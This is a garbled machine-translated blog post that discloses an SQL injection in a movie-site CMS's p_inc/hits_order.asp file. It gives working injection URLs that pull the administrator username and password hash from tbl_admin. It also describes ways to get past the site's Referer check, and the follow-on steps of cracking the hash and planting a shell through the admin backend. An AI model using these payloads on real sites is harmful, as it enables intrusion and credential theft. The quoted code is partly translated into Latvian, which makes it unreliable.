Acu dienu filmu sistēma 0day
: St0p & My5t3ry
Reproducēt, lūdzu, norādiet avota http://www.st0p.org
Oh, un My5t3ry nākt klajā ar caurumu, sazinieties ar oficiālo administratoru, nav bijis uzmanību man.
Pirmkārt, ļaujiet man injicē problēmu
Nepilnību failu / p_inc / hits_order.asp
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | <- # Include file = ".. / P_inc / config.asp!" -> <- # Include file = ".. / P_inc / function.asp!" -> <- # Include file = ".. / P_inc / function_func.asp!" -> <- # Include file = ".. / P_inc / openconn.asp!" -> <- # Include file = ".. / P_inc / G_function.asp!" -> <% Then Ja ne ChkPost () Tad G_error_page_1 reakcija. Novirzīt G_error_page_1 ( ) atbilde beigas () Beigām, ja "Zvanu ChkPost / p_inc / function.asp fails () funkciju, lai konstatētu avota URL url,numb ) Funkciju G_hitss (URL, sastindzis) Dim iela str = "" & numb & " id,m_name,m_pic,m_hits,m_content from qingtiandy_movie where m_look=1 order by m_hits desc,id desc" sql = "select top" & sastindzis un "id, m_name, m_pic, m_hits, m_content no qingtiandy_movie kur m_look = 1 Pasūtot m_hits DESC, id DESC" "Es redzēju, ka nav sastindzis, neviens filtrs server . CreateObject ( G_RS ) Set rs = serveris CreateObject (G_RS). , 1 rs. atvērts SQL, CONN, 1, 1 i = 1 Do Kaut arī ne rs. EOF Array ( "d" ,rs ( 0 ) ,url ) ) d_url = url_ (Array ("d", rs (0), url)) "<div class=kkk1_list><a class=bbb href=" & d_url & " title='主演:" & rs ( 2 ) & "'>" & Get_length ( rs ( 1 ) , "" , 32 ) & "</a> (" & rs ( 3 ) & ")</div>" str = str & "<div class=kkk1_list> <a class=bbb href=" & d_url &" title='主演:" & rs (2) & "'>" & Get_length (rs (1), "", 32) & "</> (" & rs (3) & ") </ div> i = i + 1 rs. movenext Cilpa G_hitss = str End Function %> G_hitss ( request ( "url" ) , request ( "numb" ) ) %> ") document.write ("<% = G_hitss (lūgums (" url "), pieprasījums (" sastindzis "))%>") "Šeit sastindzis filtrs |
Metožu izmantošana, piemēram,
1, jūs varat tieši izmantot programmatūru kalti Referer, apmeklējiet šo adresi, lai sasniegtu
Caur XMLHTTP kalti Referer, apmeklējiet šo adresi īstenošanu
3, JS JavaScript, lai kontrolētu avota URL
( "<a href='/p_inc/hits_order.asp?numb=1 (select str_username from tbl_admin) as username,(select str_pass from tbl_admin) as pass,'>科幻片</a> " ) ; javascript:. dokuments rakstīt (<a href='/p_inc/hits_order.asp?numb=1 (select str_username no tbl_admin) kā username,(select str_pass no tbl_admin) kā pass,'> zinātniskās fantastikas </> ") ; |
http://www.st0p.org/p_inc/hits_order.asp?numb=1 (izvēlieties str_username no tbl_admin) kā lietotājvārdu, (izvēlieties str_pass no tbl_admin), kā caurlaide,
Piezīme: lai lēkt pār Referer atklāšana var caur POST, GET, COOKIE dažādas veidus, kā sasniegt injicēt. . .
Piekļuve šiem, administrators lietotājvārdu URL no saites, paroli HASH parādīts tieši ārā. .
Kreka paroles hash, jo fons var tieši rediģēt ASP failu, uz fona un veikt SHELL līniju.
Šī procedūra, ir arī citas nepilnības. Šeit netiek veikts. .










































180 Trackback (-i)
Jums ir jābūt pieteicies Lai ievietotu komentārus.